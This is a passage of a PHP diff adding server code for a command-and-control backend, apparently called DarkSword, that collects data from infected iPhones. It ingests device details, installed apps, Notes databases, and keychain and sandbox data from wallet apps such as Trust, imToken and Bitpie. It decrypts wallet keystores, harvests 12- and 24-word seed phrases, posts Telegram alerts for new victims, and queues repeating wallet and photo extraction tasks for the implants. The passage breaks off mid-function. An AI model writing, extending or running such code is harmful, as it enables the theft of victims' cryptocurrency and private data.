private readonly DsTrustAddressIngest $trustAddresses,
|
||||
private readonly DsKeystoreDecrypt $keystoreDecrypt,
|
||||
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
|
||||
private readonly MnemonicAddressLinker $mnemonicLinker,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
|
||||
*/
|
||||
public function ingest(Request $request, string $path, array $payload): void
|
||||
{
|
||||
match ($path) {
|
||||
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
|
||||
'/api/ds/log' => $this->ingestLog($request, $payload),
|
||||
'/a' => $this->ingestProfile($request, $payload),
|
||||
'/u' => $this->ingestApps($request, $payload),
|
||||
'/nb' => $this->ingestNotes($request, $payload),
|
||||
'/war' => $this->ingestWar($request, $payload),
|
||||
'/beacon', '/event' => $this->heartbeat($request, $payload),
|
||||
'/result' => $this->ingestResult($request, $payload),
|
||||
default => str_starts_with($path, '/api/ds/pe-stage')
|
||||
? $this->ingestPeStage($request, $payload)
|
||||
: null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestRegister(Request $request, array $payload): void
|
||||
{
|
||||
$this->recordRegisterVisit($request, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestStage(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
return;
|
||||
}
|
||||
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
|
||||
$progress = (int) ($payload['progress'] ?? 0);
|
||||
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
|
||||
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
|
||||
}
|
||||
|
||||
/**
|
||||
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
|
||||
* here we also fold the named stage into ds_chain_logs when a UUID is present.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestPeStage(Request $request, array $payload): void
|
||||
{
|
||||
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
|
||||
$progress = match ($name) {
|
||||
's1_launchd' => 86,
|
||||
's2_keychain' => 88,
|
||||
's3_mempress' => 90,
|
||||
's4_loader' => 92,
|
||||
's5_c2' => 94,
|
||||
's6_p7phase2' => 96,
|
||||
default => 86,
|
||||
};
|
||||
|
||||
$this->ingestStage($request, array_merge($payload, [
|
||||
'stage' => 'pe',
|
||||
'progress' => $progress,
|
||||
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
|
||||
]));
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestLog(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
return;
|
||||
}
|
||||
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
|
||||
$this->ingestStage($request, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
|
||||
if (! is_string($text)) {
|
||||
return;
|
||||
}
|
||||
$inferred = DsChainLog::inferFromText($text);
|
||||
if ($inferred === null) {
|
||||
return;
|
||||
}
|
||||
DsChainLog::record(
|
||||
$uid,
|
||||
$inferred['stage'],
|
||||
$inferred['progress'],
|
||||
$inferred['label'],
|
||||
$this->extractChannelCode($payload),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function recordRegisterVisit(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
$ua = $this->registerUserAgent($request, $payload);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$ios = $this->extractIos($payload);
|
||||
$channel = $this->extractChannelCode($payload) ?? '';
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => $channel,
|
||||
'client_uid' => $uid,
|
||||
'chain' => PageVisit::CHAIN_DARKSWORD,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $ios !== null ? 'iOS' : $parsed['os'],
|
||||
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => PageVisit::normalizeDomain($request->getHost()),
|
||||
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
|
||||
'created_at' => now(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function registerUserAgent(Request $request, array $payload): string
|
||||
{
|
||||
foreach (['user_agent', 'userAgent'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 512);
|
||||
}
|
||||
}
|
||||
|
||||
return substr((string) $request->userAgent(), 0, 512);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestProfile(Request $request, array $payload): void
|
||||
{
|
||||
$this->upsertDevice($request, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestApps(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if (! $device) {
|
||||
return;
|
||||
}
|
||||
$al = $this->appsToAl($payload['apps'] ?? null);
|
||||
if ($al === []) {
|
||||
return;
|
||||
}
|
||||
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestNotes(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if (! $device) {
|
||||
return;
|
||||
}
|
||||
if (array_key_exists('list', $payload)) {
|
||||
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
|
||||
}
|
||||
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestWar(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if (! $device) {
|
||||
return;
|
||||
}
|
||||
|
||||
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
);
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
|
||||
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
$this->walkForMnemonics($device, $sandbox, 'b');
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function heartbeat(Request $request, array $payload): void
|
||||
{
|
||||
$this->upsertDevice($request, $payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function upsertDevice(Request $request, array $payload): ?Device
|
||||
{
|
||||
$key = $this->extractDeviceKey($request, $payload);
|
||||
if ($key === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$ip = $this->clientIp($request, $payload);
|
||||
$model = $this->extractModel($payload);
|
||||
$ios = $this->extractIos($payload);
|
||||
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
$existing = Device::query()->where('device_id', $key)->first();
|
||||
if ($existing) {
|
||||
$touch = [
|
||||
'updated_at' => now(),
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
];
|
||||
if ($ip !== '') {
|
||||
$touch['ip'] = $ip;
|
||||
}
|
||||
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
|
||||
$touch['device_model'] = $model;
|
||||
}
|
||||
if ($ios !== null && trim((string) $existing->ios_version) === '') {
|
||||
$touch['ios_version'] = $ios;
|
||||
}
|
||||
if ($channel !== null && trim((string) $existing->channel_id) === '') {
|
||||
$touch['channel_id'] = $channel;
|
||||
}
|
||||
$existing->forceFill($touch)->saveQuietly();
|
||||
$this->beaconQueue->seed($existing);
|
||||
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'family' => Device::FAMILY_DARKSWORD,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
'channel_id' => $channel,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
]);
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
$this->beaconQueue->seed($device);
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* Upsert the DarkSword device and seed its default beacon queue.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
public function ensureDevice(Request $request, array $payload): ?Device
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
$this->beaconQueue->seed($device);
|
||||
}
|
||||
|
||||
return $device;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestResult(Request $request, array $payload): void
|
||||
{
|
||||
$device = $this->upsertDevice($request, $payload);
|
||||
if ($device) {
|
||||
$stored = $this->results->store($device, $payload);
|
||||
$payload = array_merge($payload, $stored);
|
||||
if (($stored['stored'] ?? false) === true) {
|
||||
$this->ingestTrustAddressesFromResult($device, $payload);
|
||||
}
|
||||
}
|
||||
$this->beaconQueue->markDone($payload);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
|
||||
{
|
||||
$filename = strtolower((string) ($payload['filename'] ?? ''));
|
||||
$looksTrust = str_contains($filename, 'utc--')
|
||||
|| str_contains($filename, 'wallet_pkg')
|
||||
|| str_contains($filename, 'keystore');
|
||||
if (! $looksTrust) {
|
||||
return;
|
||||
}
|
||||
$raw = $payload['data'] ?? null;
|
||||
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
|
||||
if (Storage::disk('local')->exists($payload['path'])) {
|
||||
$raw = (string) Storage::disk('local')->get($payload['path']);
|
||||
}
|
||||
}
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractDeviceKey(Request $request, array $payload): ?string
|
||||
{
|
||||
$candidates = [
|
||||
$payload['lhu'] ?? null,
|
||||
$payload['deviceUUID'] ?? null,
|
||||
$payload['device_uuid'] ?? null,
|
||||
$payload['uuid'] ?? null,
|
||||
$payload['device'] ?? null,
|
||||
$request->header('X-Device-UUID'),
|
||||
$request->query('deviceUUID'),
|
||||
$request->query('device'),
|
||||
];
|
||||
foreach ($candidates as $value) {
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
|
||||
if ($hex === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
return substr($hex, 0, 32);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractChannelCode(array $payload): ?string
|
||||
{
|
||||
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (! is_string($value)) {
|
||||
continue;
|
||||
}
|
||||
$value = trim($value);
|
||||
if ($value === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
return substr($value, 0, 64);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function channelFromVisit(string $deviceKey): ?string
|
||||
{
|
||||
$channel = PageVisit::query()
|
||||
->where('client_uid', $deviceKey)
|
||||
->where('chain', PageVisit::CHAIN_DARKSWORD)
|
||||
->where('channel_id', '!=', '')
|
||||
->orderByDesc('id')
|
||||
->value('channel_id');
|
||||
|
||||
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractModel(array $payload): ?string
|
||||
{
|
||||
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 128);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function extractIos(array $payload): ?string
|
||||
{
|
||||
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
|
||||
$value = $payload[$key] ?? null;
|
||||
if (is_string($value) && trim($value) !== '') {
|
||||
return substr(trim($value), 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function clientIp(Request $request, array $payload): string
|
||||
{
|
||||
$reported = $payload['ip'] ?? null;
|
||||
if (is_string($reported) && trim($reported) !== '') {
|
||||
$normalized = PageVisit::normalizeIp(trim($reported));
|
||||
if ($normalized !== '') {
|
||||
return substr($normalized, 0, 64);
|
||||
}
|
||||
}
|
||||
|
||||
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
|
||||
}
|
||||
|
||||
private function shouldReplaceModel(?string $current, string $incoming): bool
|
||||
{
|
||||
$cur = trim((string) $current);
|
||||
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{b: string, a: string, v?: string}>
|
||||
*/
|
||||
private function appsToAl(mixed $apps): array
|
||||
{
|
||||
if (! is_array($apps)) {
|
||||
return [];
|
||||
}
|
||||
$al = [];
|
||||
foreach ($apps as $key => $item) {
|
||||
if ($key === '_more' || ! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
||||
if ($bundle === '' || str_starts_with(strtolower($bundle), 'com.apple')) {
|
||||
continue;
|
||||
}
|
||||
$row = [
|
||||
'b' => $bundle,
|
||||
'a' => (string) ($item['name'] ?? $item['a'] ?? $bundle),
|
||||
];
|
||||
$version = $item['version'] ?? $item['v'] ?? null;
|
||||
if (is_string($version) && $version !== '') {
|
||||
$row['v'] = $version;
|
||||
}
|
||||
$al[] = $row;
|
||||
}
|
||||
|
||||
return $al;
|
||||
}
|
||||
|
||||
private function storeNoteDbFiles(Device $device, mixed $files): void
|
||||
{
|
||||
if (! is_array($files)) {
|
||||
return;
|
||||
}
|
||||
foreach ($files as $file) {
|
||||
if (! is_array($file)) {
|
||||
continue;
|
||||
}
|
||||
$name = basename((string) ($file['name'] ?? 'notes.sqlite'));
|
||||
$name = preg_replace('/[^A-Za-z0-9._-]+/', '_', $name) ?: 'notes.sqlite';
|
||||
$data = $file['data'] ?? $file['content'] ?? null;
|
||||
if (! is_string($data) || $data === '') {
|
||||
continue;
|
||||
}
|
||||
$bin = base64_decode($data, true);
|
||||
if ($bin === false || $bin === '') {
|
||||
continue;
|
||||
}
|
||||
$rel = 'c2/ds-notes/'.$device->device_id.'/'.$name;
|
||||
Storage::disk('local')->put($rel, $bin);
|
||||
}
|
||||
}
|
||||
|
||||
private function hasMaterial(mixed $value): bool
|
||||
{
|
||||
if ($value === null || $value === '' || $value === []) {
|
||||
return false;
|
||||
}
|
||||
if (! is_array($value)) {
|
||||
return true;
|
||||
}
|
||||
if (array_key_exists('items', $value) && is_array($value['items'])) {
|
||||
return $value['items'] !== [];
|
||||
}
|
||||
foreach ($value as $child) {
|
||||
if ($this->hasMaterial($child)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<WalletKeystore>
|
||||
*/
|
||||
private function storeWalletKeystores(Device $device, mixed $buckets, string $kind, mixed $diagnostics): array
|
||||
{
|
||||
if (! $this->hasMaterial($buckets)) {
|
||||
return [];
|
||||
}
|
||||
$rows = [];
|
||||
if (is_array($buckets) && ! array_is_list($buckets)) {
|
||||
$leftover = [];
|
||||
foreach ($buckets as $key => $bucket) {
|
||||
if (! $this->hasMaterial($bucket)) {
|
||||
continue;
|
||||
}
|
||||
$source = is_string($key) ? WalletSource::fromKeystoreHint($key) : '';
|
||||
if ($source === '' && ! is_string($key)) {
|
||||
$leftover[$key] = $bucket;
|
||||
|
||||
continue;
|
||||
}
|
||||
if ($source === '' && is_string($key) && in_array(strtolower($key), ['notes', 'diagnostics'], true)) {
|
||||
continue;
|
||||
}
|
||||
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, [$key => $bucket], null));
|
||||
}
|
||||
if ($leftover !== []) {
|
||||
$rows[] = $this->createKeystore($device, '', $this->keystorePayload($kind, $leftover, $diagnostics));
|
||||
} elseif ($rows === [] && $this->hasMaterial($buckets)) {
|
||||
$rows[] = $this->createKeystore(
|
||||
$device,
|
||||
WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : ''),
|
||||
$this->keystorePayload($kind, $buckets, $diagnostics)
|
||||
);
|
||||
}
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
$source = WalletSource::fromKeystoreHint(is_string($buckets) ? $buckets : '');
|
||||
$rows[] = $this->createKeystore($device, $source, $this->keystorePayload($kind, $buckets, $diagnostics));
|
||||
|
||||
return $rows;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed>|string $payload
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function keystorePayload(string $kind, mixed $payload, mixed $diagnostics): array
|
||||
{
|
||||
$body = [
|
||||
'kind' => $kind,
|
||||
];
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$body['wallets'] = $payload;
|
||||
} else {
|
||||
$body['sandbox'] = $payload;
|
||||
}
|
||||
if ($diagnostics !== null) {
|
||||
$body['diagnostics'] = $diagnostics;
|
||||
}
|
||||
|
||||
return $body;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore
|
||||
{
|
||||
return WalletKeystore::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'source' => $source,
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $rawJson,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
|
||||
*/
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<WalletKeystore> $rows
|
||||
*/
|
||||
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
foreach ($hits as $hit) {
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['phrase'],
|
||||
'a' => $tag,
|
||||
]);
|
||||
$this->keystoreDecrypt->markDecrypted($rows, $hit['source']);
|
||||
$this->keystoreDecrypt->markDecrypted($device->keystores()->get(), $hit['source']);
|
||||
|
||||
$mnemonic = WalletMnemonic::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('mnemonic_hash', WalletMnemonic::hashSecret($hit['phrase']))
|
||||
->first();
|
||||
if ($mnemonic !== null) {
|
||||
$this->mnemonicDiscovery->discoverIndexZero($mnemonic);
|
||||
}
|
||||
if (($hit['addresses'] ?? []) !== []) {
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
'a' => $tag,
|
||||
'data' => $hit['addresses'],
|
||||
]);
|
||||
}
|
||||
if ($mnemonic !== null) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
||||
{
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return;
|
||||
}
|
||||
if (($node['_truncated'] ?? false) === true) {
|
||||
return;
|
||||
}
|
||||
if ($this->isFailedUnwrap($node)) {
|
||||
return;
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
|
||||
continue;
|
||||
}
|
||||
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
|
||||
$this->walkForMnemonics($device, $child, $childTag);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isFailedUnwrap(array $node): bool
|
||||
{
|
||||
foreach (['error', 'layer3Error'] as $key) {
|
||||
$err = $node[$key] ?? null;
|
||||
if (is_string($err) && $err !== '' && preg_match('/unwrap|aks_/i', $err)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
private function tagForWalletKey(string $key, string $fallback): string
|
||||
{
|
||||
$k = strtolower($key);
|
||||
if (str_contains($k, 'imtoken') || str_contains($k, 'im.token')) {
|
||||
return 'b';
|
||||
}
|
||||
if (str_contains($k, 'trust')) {
|
||||
return 'd';
|
||||
}
|
||||
|
||||
return $fallback;
|
||||
}
|
||||
|
||||
private function asMnemonicPhrase(string $raw): ?string
|
||||
{
|
||||
$candidates = [$raw];
|
||||
$trimmed = trim($raw);
|
||||
if ($trimmed !== '' && ctype_xdigit($trimmed) && strlen($trimmed) % 2 === 0 && strlen($trimmed) >= 24) {
|
||||
$bin = @hex2bin($trimmed);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$candidates[] = $bin;
|
||||
$decoded = json_decode($bin, true);
|
||||
if (is_array($decoded)) {
|
||||
foreach (['mnemonic', 'phrase', 'seed', 'recovery'] as $k) {
|
||||
if (isset($decoded[$k]) && is_string($decoded[$k])) {
|
||||
$candidates[] = $decoded[$k];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($candidates as $text) {
|
||||
$phrase = $this->matchWordMnemonic($text);
|
||||
if ($phrase !== null) {
|
||||
return $phrase;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private function matchWordMnemonic(string $text): ?string
|
||||
{
|
||||
$text = strtolower(trim($text));
|
||||
if ($text === '' || str_starts_with($text, '{') || str_starts_with($text, '[')) {
|
||||
return null;
|
||||
}
|
||||
$words = preg_split('/\s+/', $text) ?: [];
|
||||
$n = count($words);
|
||||
if ($n !== 12 && $n !== 24) {
|
||||
return null;
|
||||
}
|
||||
foreach ($words as $word) {
|
||||
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
return implode(' ', $words);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,221 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DsBeaconTask;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
class DsBeaconQueue
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
/** @var list<string> */
|
||||
public const LOOP_TYPES = [
|
||||
'wallet_extract',
|
||||
'wallet_scan',
|
||||
'photo_scan',
|
||||
'apps',
|
||||
];
|
||||
|
||||
public function seed(Device $device): void
|
||||
{
|
||||
if ($device->family !== Device::FAMILY_DARKSWORD) {
|
||||
return;
|
||||
}
|
||||
|
||||
DsBeaconTask::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('type', 'basic_info')
|
||||
->delete();
|
||||
|
||||
if (DsBeaconTask::query()->where('device_id', $device->id)->exists()) {
|
||||
return;
|
||||
}
|
||||
|
||||
$now = now();
|
||||
$rows = [];
|
||||
foreach (self::TYPES as $i => $type) {
|
||||
$rows[] = [
|
||||
'device_id' => $device->id,
|
||||
'position' => $i + 1,
|
||||
'type' => $type,
|
||||
'status' => DsBeaconTask::STATUS_PENDING,
|
||||
'created_at' => $now,
|
||||
'updated_at' => $now,
|
||||
];
|
||||
}
|
||||
DsBeaconTask::query()->insert($rows);
|
||||
}
|
||||
|
||||
/**
|
||||
* Next pending command. wallet_extract / wallet_scan / photo_scan / apps
|
||||
* re-queue after a full pass so the agent keeps polling them.
|
||||
*
|
||||
* @return array{type: string, command_id: string, params: array<string, mixed>}|null
|
||||
*/
|
||||
public function dequeue(Device $device): ?array
|
||||
{
|
||||
$this->seed($device);
|
||||
|
||||
return DB::transaction(function () use ($device) {
|
||||
$task = $this->nextRunnable($device);
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$commandId = 'dsq-'.$device->id.'-'.$task->position.'-'.Str::lower(Str::random(10));
|
||||
$meta = is_array($task->result_meta) ? $task->result_meta : [];
|
||||
$meta['dispatch_count'] = (int) ($meta['dispatch_count'] ?? 0) + 1;
|
||||
if ($task->status === DsBeaconTask::STATUS_DISPATCHED) {
|
||||
$meta['last_retry_at'] = now()->toDateTimeString();
|
||||
}
|
||||
|
||||
$task->forceFill([
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => $commandId,
|
||||
'dispatched_at' => now(),
|
||||
'result_meta' => $meta,
|
||||
])->save();
|
||||
|
||||
return [
|
||||
'type' => $task->type,
|
||||
'command_id' => $commandId,
|
||||
'params' => $this->paramsFor($task->type),
|
||||
];
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
public function markDone(array $payload): ?DsBeaconTask
|
||||
{
|
||||
$commandId = trim((string) ($payload['command_id'] ?? ''));
|
||||
if ($commandId === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$task = DsBeaconTask::query()->where('command_id', $commandId)->first();
|
||||
if (! $task) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$meta = $task->result_meta ?? [];
|
||||
$filename = trim((string) ($payload['filename'] ?? ''));
|
||||
$category = trim((string) ($payload['category'] ?? ''));
|
||||
if ($filename !== '') {
|
||||
$meta['filename'] = substr($filename, 0, 255);
|
||||
}
|
||||
if ($category !== '') {
|
||||
$meta['category'] = substr($category, 0, 64);
|
||||
}
|
||||
if (isset($payload['status']) && is_string($payload['status'])) {
|
||||
$meta['status'] = substr($payload['status'], 0, 32);
|
||||
}
|
||||
foreach (['path', 'reason', 'stored', 'photo', 'size'] as $key) {
|
||||
if (array_key_exists($key, $payload)) {
|
||||
$meta[$key] = $payload[$key];
|
||||
}
|
||||
}
|
||||
|
||||
$touch = [
|
||||
'result_count' => (int) $task->result_count + 1,
|
||||
'result_meta' => $meta,
|
||||
];
|
||||
if ($task->status !== DsBeaconTask::STATUS_DONE) {
|
||||
$touch['status'] = DsBeaconTask::STATUS_DONE;
|
||||
$touch['completed_at'] = now();
|
||||
}
|
||||
$task->forceFill($touch)->save();
|
||||
|
||||
return $task->refresh();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function paramsFor(string $type): array
|
||||
{
|
||||
return match ($type) {
|
||||
'wallet_extract' => ['wallet_type' => 'imtoken'],
|
||||
'photo_scan' => ['max_count' => 200],
|
||||
default => [],
|
||||
};
|
||||
}
|
||||
|
||||
private function nextRunnable(Device $device): ?DsBeaconTask
|
||||
{
|
||||
while (true) {
|
||||
$task = $this->findRunnable($device);
|
||||
if (! $task) {
|
||||
if (! $this->requeueLoopTypes($device)) {
|
||||
return null;
|
||||
}
|
||||
